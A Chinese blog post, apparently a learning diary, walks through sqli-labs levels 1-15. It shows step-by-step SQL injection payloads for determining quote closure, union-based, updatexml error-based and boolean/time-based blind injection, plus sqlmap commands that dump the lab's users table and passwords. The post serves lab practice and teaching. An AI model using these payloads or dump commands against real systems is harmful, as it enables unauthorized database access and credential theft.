在职老D渗透日记day9:sqli-labs靶场通关(第11-15关)判断注入类型与闭合方式 post联合查询 报错注入 布尔盲注

 SQL注入第一步:判断注入类型与闭合方式指南

这几关,让我对第一步判断注入类型这块知识感觉有些模糊,及时巩固

1.异常字符测试(触发错误)
'
"
\
2.布尔逻辑测试(检测盲注)

测试Payload

预期结果(存在漏洞时)

推断的闭合方式

1 and 1=1 --+

页面正常显示

数字型(无闭合)

1' and '1'='1'

页面正常显示

单引号闭合

1" and "1"="1"

页面正常显示

双引号闭合

1') and ('1'='1

页面正常显示

单引号+括号闭合

1")) and (("1"="1"

页面正常显示

双引号+括号嵌套

1' and 1=1 --+

页面正常(如果单引号正确)

单引号闭合

1') and 1=1 --+

页面正常

单引号+括号闭合

数字型注入
?id=1 and 1=1    正常返回数据
?id=1 and 1=2    返回空
字符型注入
?id=1' and '1'='1    正常返回数据
?id=1' and '1'='2    返回空
3.时间延迟测试(确认时间盲注)
?id=1 and sleep(5)--+      
?id=1' and sleep(5)--+
?id=1" and sleep(5)--+
4.系统步骤

先测试无注释版本-->测试带注释版本-->括号验证-->结合时间盲注

5.sqli-labs实例

第1关

?id=1'               报错,判断是否存在sql注入

?id=1' and '1'='1    正常返回数据
?id=1' and '1'='2    返回空,判断是字符型注入'
?id=1' and 1=1--+    正常返回数据,确定是字符型注入'

?id=1' and sleep(5)--+    延迟5s返回空,判断存在时间盲注

第2关

?id=1'               报错,判断是否存在sql注入

?id=1' and '1'='1    报错
?id=1 and 1=1        正常返回数据
?id=1 and 1=2        返回空,判断是数字型注入
?id=1 and 1=1--+     返回空,确定是数字型注入

?id=1 and sleep(5)--+    延迟5s返回空,判断存在时间盲注

第3关

?id=1'               报错,判断是否存在sql注入

?id=1' and '1'='1    正常返回数据
?id=1' and '1'='2    返回空,判断是字符型注入'
?id=1' and 1=1--+    报错,不是'
?id=1') and 1=1--+   正常返回数据
?id=1') and 1=2--+   返回空,确定是字符型注入')

?id=1') and sleep(5)--+    延迟5s返回空,判断存在时间盲注

第4关

?id=1'               正常返回数据
?id=1"               报错,判断是否存在sql注入

?id=1" and "1"="1    正常返回数据
?id=1" and "1"="2   返回空,判断是字符型注入"
?id=1" and 1=1--+    报错,不是"
?id=1") and 1=1--+   正常返回数据
?id=1") and 1=2--+   返回空,确定是字符型注入")

?id=1") and sleep(5)--+    延迟5s返回空,判断存在时间盲注

第7关

?id=1'               报错,判断是否存在sql注入

?id=1' and '1'='1    正常返回数据
?id=1' and '1'='2    返回空,判断是字符型注入'
?id=1') and 1=1--+   报错,不是')
?id=1')) and 1=1--+  正常返回数据
?id=1')) and 1=2--+  返回空,确定是字符型注入'))

?id=1')) and sleep(5)--+    延迟5s返回报错,判断存在时间盲注

第10关

运用前面几步,正常反馈都是You are in...........

?id=1' and sleep(5)--+    正常反馈
?id=1" and sleep(5)--+    延迟5s反馈,确定字符型注入"

5.11.第十一关 post联合查询

5.11.1手动注入
(1)判断注入类型
uname=&passwd=' or 1=1--+    正常回显Dumb:Dumb
uname=&passwd=' or 1=2--+    返回空
字符型注入
(2)判断字段数
uname=&passwd=' order by 2--+    返回空
uname=&passwd=' order by 3--+    报错unknown column '3' in 'order clause'
(3)判断数据库类型
uname=&passwd=' and updatexml(7,concat(0x7e,version()),8)--+    回显XPATH syntax error:'~5.7.26'
(4)查询数据库名
uname=&passwd=' union select 6,database()--+
(5)查询表名
uname=&passwd=' union select 6,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(6)查询字段名
uname=&passwd=' union select 6,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

(7)查询账号密码
uname=&passwd=' union select 1,group_concat(id,0x3a,username,0x7e,password) from users--+

5.11.2sqlmap自动注入
(1)抓http头

firefox foxyproxy+burpsuite抓取post http头

POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.1.64
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.1.64
Connection: keep-alive
Referer: http://192.168.1.64/sqli-labs/Less-11/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

uname=&passwd=&submit=Submit
(2)跑指令
vi sql.txt
sqlmap -r sql.txt -batch --dbs
sqlmap -r sql.txt -batch -D security --tables
sqlmap -r sql.txt -batch -D security -T users --columns
sqlmap -r sql.txt -batch -D security -T users --dump

5.12.第十二关 post联合查询

字符型注入闭合方式"),其他不变,与第十一关相同

uname=&passwd=") or 1=1--+

5.13.第十三关 post报错注入

5.13.1手动注入

方法和get报错注入差不多,就是操作都在burpsuite的repeater上

(1)判断注入类型

uname=&passwd=' or 1=1--+
uname=&passwd=') or 1=1--+

(2)判断字段数

uname=&passwd=') order by 2--+    返回空
uname=&passwd=') order by 3--+    报错

(3)判断数据库类型

uname=&passwd=') and updatexml(6,concat(0x3a,version()),8)--+

(4)判断回显位

uname=&passwd=') union select 7,database()--+    返回空

无回显,尝试报错注入

(5)查询数据库名

uname=&passwd=') and updatexml(7,concat(0x3a,(select database())),9)--+

(6)查询表名

uname=&passwd=') and updatexml(7,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),9)--+

(7)查询字段名

uname=&passwd=') and updatexml(7,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),9)--+

(8)查询账号密码

uname=&passwd=') and updatexml(7,concat(0x3a,(select group_concat(id,0x3a,username,0x7e,password) from users)),9)--+

报错显示不全

username第1个数据
uname=&passwd=') and updatexml(7,concat(0x3a,(select username from users limit 0,1)),9)--+
password第1个数据
uname=&passwd=') and updatexml(7,concat(0x3a,(select password from users limit 0,1)),9)--+

username第8个数据
uname=&passwd=') and updatexml(7,concat(0x3a,(select username from users limit 7,1)),9)--+
password第8个数据
uname=&passwd=') and updatexml(7,concat(0x3a,(select password from users limit 7,1)),9)--+

一个个报错显现,能够显现完整

5.13.2.sqlmap自动注入

同第十一、第十二关,使用sqlmap -r sql.txt

5.14.第十四关 post报错注入

闭合方式",其他与第十三关相同

5.15.第十五关 post布尔盲注

5.15.1手动注入

(1)判断注入类型

'  "  \        登录失败
布尔逻辑测试    登录失败
时间延迟测试
uname=&passwd=' or if(1=1, sleep(3), 0)--+&submit=Submit
1=1:总是为真(True)
sleep(3):条件为真时的操作
0:条件为假时的返回值(但永远不会执行到这里)

uname=&passwd=' or benchmark(3000000, md5('test'))--+&submit=Submit

字符型注入,闭合形式为'

选择 ORAND 的本质是控制查询返回结果集的能力

  • •用 OR 强行改变结果集 → 适合认证类注入
  • •用 AND 追加条件 → 适合数据查询类注入

(2)猜解数据库名长度

uname=&passwd=' or length(database())=8--+

后面和get布尔盲注相同,不再赘述

5.15.2sqlmap自动注入

同第11-13关

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值